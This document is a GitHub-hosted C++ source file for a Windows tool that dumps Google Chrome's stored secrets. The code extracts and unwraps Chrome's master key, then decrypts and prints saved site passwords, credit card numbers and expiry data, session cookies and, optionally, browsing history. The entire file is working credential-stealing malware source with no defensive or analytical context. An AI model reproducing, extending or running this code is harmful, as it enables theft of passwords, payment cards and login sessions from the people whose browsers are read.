-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMain.cpp
220 lines (213 loc) · 9.2 KB
/
Main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#include <Windows.h>
#include <Shlwapi.h>
#include <iostream>
#include <string>
#include <fstream>
#include <regex>
#include <vector>
#include <filesystem>
#include "base64.h"
#include "sodium.h"
#include "sqlite3.h"
#pragma comment (lib, "Crypt32.lib")
#pragma comment (lib, "Shlwapi.lib")
bool OUTPUT_HISTORY_DATA = false;
int CheckIfPathExists(std::string ToCheck) {
std::wstring WToCheck(ToCheck.begin(), ToCheck.end());
int x = PathFileExists(WToCheck.c_str());
return x;
}
std::string GetHomePath() {
FILE* File = _popen("echo %USERPROFILE%", "r");
char Buffer[100];
std::string HomePath;
while (fgets(Buffer, 100, File)) {
HomePath += Buffer;
}
HomePath.erase(std::remove(HomePath.begin(), HomePath.end(), '\n'), HomePath.end());
return HomePath;
}
BYTE* GetChromiumBasedMasterKey(std::string LocalStatePath) {
std::ifstream FS(LocalStatePath);
std::string LocalStateData;
std::getline(FS, LocalStateData);
std::regex RegexPattern("\"encrypted_key\":\"(.*?)\"");
std::smatch FakeMatch;
std::regex_search(LocalStateData, FakeMatch, RegexPattern);
std::string Match = FakeMatch[1].str();
DWORD Size = Match.size();
DWORD MasterKeySize = 0;
CryptStringToBinaryA(Match.c_str(), Match.size(), CRYPT_STRING_BASE64, nullptr, &MasterKeySize, NULL, NULL);
std::vector<BYTE> HalfMasterKey((int)MasterKeySize);
CryptStringToBinaryA(Match.c_str(), Match.size(), CRYPT_STRING_BASE64, HalfMasterKey.data(), &MasterKeySize, NULL, NULL);
HalfMasterKey.erase(HalfMasterKey.begin(), HalfMasterKey.begin() + 5);
DATA_BLOB DataIn;
DATA_BLOB DataOut;
DataIn.pbData = HalfMasterKey.data();
DataIn.cbData = HalfMasterKey.size();
CryptUnprotectData(&DataIn, nullptr, nullptr, nullptr, nullptr, 0, &DataOut);
BYTE* MasterKey = DataOut.pbData;
return MasterKey;
}
std::string DecryptChromiumBased(const unsigned char* WholePassword, unsigned long long WholePasswordSize, BYTE* MasterKey) {
unsigned char IV[12];
std::string StringPassword = reinterpret_cast<const char*>(WholePassword);
if (StringPassword.substr(0, 3) == "v10") {
size_t realPasswordSize = WholePasswordSize - 15;
BYTE* RealPassword = (BYTE*)malloc(realPasswordSize);
if (!RealPassword) {
return "MEMORY ALLOCATION FAILED";
}
memcpy(IV, WholePassword + 3, sizeof(IV));
memcpy(RealPassword, WholePassword + 15, realPasswordSize);
unsigned char Decrypted[1024];
unsigned long long DecryptedSize = sizeof(Decrypted);
if (crypto_aead_aes256gcm_decrypt(Decrypted, &DecryptedSize, NULL, RealPassword, realPasswordSize, NULL, NULL, IV, MasterKey) != 0) {
free(RealPassword);
return "DECRYPTION FAILED\n";
}
std::string DecryptedTrimmed(reinterpret_cast<const char*>(Decrypted), DecryptedSize);
free(RealPassword);
return DecryptedTrimmed;
}
else if (StringPassword.substr(0, 3) == "v20") {
return "V20 APPBOUND (NEW)";
}
else {
return "UNKNOWN VERSION";
}
}
void DumpChromiumBased() {
BYTE* MasterKey = GetChromiumBasedMasterKey(GetHomePath() + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State");
std::string StringMasterKey = reinterpret_cast<const char*>(MasterKey);
std::cout<<"MASTER KEY {{{{" << StringMasterKey + "}}}}\n";
std::string LoginDataPath = GetHomePath() + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
std::string HistoryDataPath = GetHomePath() + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History";
std::string CardDataPath = GetHomePath() + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data";
std::string CookieDataPath = GetHomePath() + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies";
sqlite3* SQLite;
sqlite3_stmt* STMT;
// CHECKS IF LOGIN DATA EXISTS AND DUMPS
if (CheckIfPathExists(LoginDataPath) == 1) {
std::cout<<"LOGIN DATA FILE EXISTS\n";
if (sqlite3_open(LoginDataPath.c_str(), &SQLite) == SQLITE_OK) {
std::cout<<"SUCCESSFULLY OPENED LOGIN DATA FILE\n";
sqlite3_prepare(SQLite, "SELECT * FROM logins", -1, &STMT, NULL);
int RowNum = 0;
while (sqlite3_step(STMT) == SQLITE_ROW) {
const unsigned char* Origin = sqlite3_column_text(STMT, 0);
const unsigned char* Username = sqlite3_column_text(STMT, 3);
const unsigned char* Password = sqlite3_column_text(STMT, 5);
unsigned long long WholePasswordSize = sqlite3_column_bytes(STMT, 5);
std::string StringOrigin = reinterpret_cast<const char*>(Origin);
std::string StringUsername = reinterpret_cast<const char*>(Username);
std::string StringPassword = reinterpret_cast<const char*>(Password);
std::string DecryptedStringPassword = DecryptChromiumBased(Password, WholePasswordSize, MasterKey);
std::cout << "Origin URL : " << StringOrigin << "\n";
std::cout << "Username : " << StringUsername << "\n";
std::cout << "Password : " << DecryptedStringPassword << "\n\n";
RowNum += 1;
}
sqlite3_finalize(STMT);
sqlite3_close(SQLite);
}
else {
std::cout<<"FAILED TO OPEN LOGIN DATA FILE\n";
}
}
else {
std::cout<<"LOGIN DATA FILE DOES NOT EXIST\n";
}
// CHECKS IF HISTORY DATA EXISTS AND DUMPS
if (CheckIfPathExists(HistoryDataPath) == 1 && OUTPUT_HISTORY_DATA) {
std::cout<<"HISTORY DATA FILE EXISTS\n";
if (sqlite3_open(HistoryDataPath.c_str(), &SQLite) == SQLITE_OK) {
std::cout << "SUCCESSFULLY OPENED HISTORY DATA FILE\n";
sqlite3_prepare(SQLite, "SELECT url FROM urls", -1, &STMT, NULL);
int RowNum = 0;
while (sqlite3_step(STMT) == SQLITE_ROW) {
const unsigned char* URL = sqlite3_column_text(STMT, 0);
std::string StringURL = reinterpret_cast<const char*>(URL);
std::cout << "Visit : " << StringURL << "\n\n";
RowNum += 1;
}
sqlite3_finalize(STMT);
sqlite3_close(SQLite);
}
else {
std::cout<<"FAILED TO OPEN HISTORY DATA FILE\n";
}
}
else {
std::cout<<"HISTORY DATA FILE DOES NOT EXIST\n";
}
// CHECKS IF CREDIT CARD DATA EXISTS AND DUMPS
if (CheckIfPathExists(CardDataPath) == 1) {
std::cout<<"CREDIT CARD DATA FILE EXISTS\n";
if (sqlite3_open(CardDataPath.c_str(), &SQLite) == SQLITE_OK) {
std::cout<<"SUCCESSFULLY OPENED CREDIT CARD DATA FILE\n";
sqlite3_prepare(SQLite, "SELECT name_on_card, card_number_encrypted, expiration_year, expiration_month FROM credit_cards", -1, &STMT, NULL);
int RowNum = 0;
while (sqlite3_step(STMT) == SQLITE_ROW) {
const unsigned char* CardName = sqlite3_column_text(STMT, 0);
const unsigned char* CardNumber = sqlite3_column_text(STMT, 1);
unsigned long long CardNumberSize = sqlite3_column_bytes(STMT, 1);
const unsigned char* ExpirationYear = sqlite3_column_text(STMT, 2);
const unsigned char* ExpirationMonth = sqlite3_column_text(STMT, 3);
unsigned long long ExpirationMonthSize = sqlite3_column_bytes(STMT, 1);
std::string StringCardName = reinterpret_cast<const char*>(CardName);
std::string StringCardNumber = DecryptChromiumBased(reinterpret_cast<const unsigned char*>(CardNumber), CardNumberSize, MasterKey);
std::string StringExpirationYear = reinterpret_cast<const char*>(ExpirationYear);
std::string StringExpirationMonth = DecryptChromiumBased(reinterpret_cast<const unsigned char*>(ExpirationMonth), ExpirationMonthSize, MasterKey);
std::cout << "Card Name : " << StringCardName << "\n";
std::cout << "Card Number : " << StringCardNumber << "\n";
std::cout << "Expiration Year : " << StringExpirationYear << "\n";
std::cout << "Expiration Month : " << StringExpirationMonth << "\n\n";
RowNum += 1;
}
sqlite3_finalize(STMT);
sqlite3_close(SQLite);
}
else {
std::cout<<"FAILED TO OPEN CREDIT CARD DATA FILE\n";
}
}
else {
std::cout<<"CREDIT CARD DATA FILE DOES NOT EXIST\n";
}
// CHECKS IF COOKIE DATA EXISTS AND DUMPS
if (CheckIfPathExists(CookieDataPath) == 1) {
std::cout<<"COOKIE DATA FILE EXISTS\n";
if (sqlite3_open(CookieDataPath.c_str(), &SQLite) == SQLITE_OK) {
std::cout<<"SUCCESSFULLY OPENED COOKIE DATA FILE\n";
sqlite3_prepare(SQLite, "SELECT host_key, name, encrypted_value FROM cookies", -1, &STMT, NULL);
int RowNum = 0;
while (sqlite3_step(STMT) == SQLITE_ROW) {
const unsigned char* CookieURL = sqlite3_column_text(STMT, 0);
const unsigned char* CookieName = sqlite3_column_text(STMT, 1);
const unsigned char* CookieValue = sqlite3_column_text(STMT, 2);
unsigned long long CookieValueSize = sqlite3_column_bytes(STMT, 2);
std::string StringCookieURL = reinterpret_cast<const char*>(CookieURL);
std::string StringCookieName = reinterpret_cast<const char*>(CookieName);
std::string StringCookieValue = reinterpret_cast<const char*>(CookieValue);
std::string DecryptedStringCookieValue = DecryptChromiumBased(reinterpret_cast<const unsigned char*>(CookieValue), CookieValueSize, MasterKey);
std::cout << "Cookie URL : " << StringCookieURL << "\n";
std::cout << "Cookie Name : " << StringCookieName << "\n";
std::cout << "Cookie Value : " << DecryptedStringCookieValue << "\n\n";
RowNum += 1;
}
sqlite3_finalize(STMT);
sqlite3_close(SQLite);
}
else {
std::cout<<"FAILED TO OPEN COOKIE DATA FILE\n";
}
}
else {
std::cout<<"COOKIE DATA FILE DOES NOT EXIST\n";
}
}
int main() {
DumpChromiumBased();
return 69;
}